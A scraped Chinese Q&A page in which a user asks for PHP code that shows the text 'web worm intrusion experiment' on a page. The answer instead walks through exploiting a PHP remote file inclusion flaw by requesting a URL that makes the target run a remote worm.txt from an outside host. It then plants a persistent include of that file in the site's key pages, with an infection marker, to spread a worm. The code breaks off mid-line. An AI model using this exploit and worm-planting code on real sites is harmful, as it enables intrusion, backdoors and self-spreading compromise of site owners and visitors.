SOS: 求助PHP高手

来源:百度知道 编辑:UC知道 时间:2024/05/26 01:31:15
谁能给我一个完整的PHP代码,代码的效果是 在网页的中间显示 web蠕虫入侵实验 这几个字

晕 这个跟静态网页显示有何区别?

PHP中最耀眼的就是文件包含漏洞,最简单的漏洞基本模型如下:
<?
@include $page;
?>
其中$page变量可能没有经过过滤,导致该变量可能能被控制从而引发漏洞,可以包含任意指定的文件,现在大部分php都默认将远程文件选项allow_URL_fopen配置为on,于是我们可以在其中将变量定义为我们的一个文件如:
http://www.abc80.com/worm.txt,其中执行的的代码我们可以控制。
我们只要简单的GET这个页面:
Iam_vul.php?page=http://www.abc80.com/worm.txt,就可以让worm.txt内容在网站执行。
我们可能很容易的利用上述的漏洞进入一个目标网站,但是如何在我们离开后让该网站成为蠕虫的发源地呢?
我们在系统需要的一个关键文件或者首页或者你希望的任何文件里加入如下代码:
<?
@include "http://www.abc80.com/worm.txt";
?>
当然,为了程序不疯狂的将自身感染我们需要一个已经被蠕虫感染的标记,我们可以在网站目录下面生成一个worm.txt表示已经被感染,代码变为:
<?if(!file_exists('worm.txt'))
{
fputs(fopen('worm.txt','a+'),'I am a